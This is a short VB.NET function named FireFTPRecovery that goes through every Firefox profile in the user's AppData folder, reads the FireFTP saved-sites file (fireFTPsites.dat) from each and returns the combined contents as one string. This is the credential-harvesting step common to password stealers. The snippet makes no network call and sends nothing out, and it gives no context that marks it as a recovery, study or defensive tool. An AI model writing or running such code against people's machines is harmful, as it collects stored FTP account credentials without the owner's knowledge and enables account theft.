Function FireFTPRecovery() As String
        Dim Accounts As String
        For Each Directory In My.Computer.FileSystem.GetDirectories(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\Mozilla\Firefox\Profiles\")
            Accounts += My.Computer.FileSystem.ReadAllText(Directory.ToString & "\fireFTPsites.dat") & Environment.NewLine
        Next
        Return Accounts
    End Function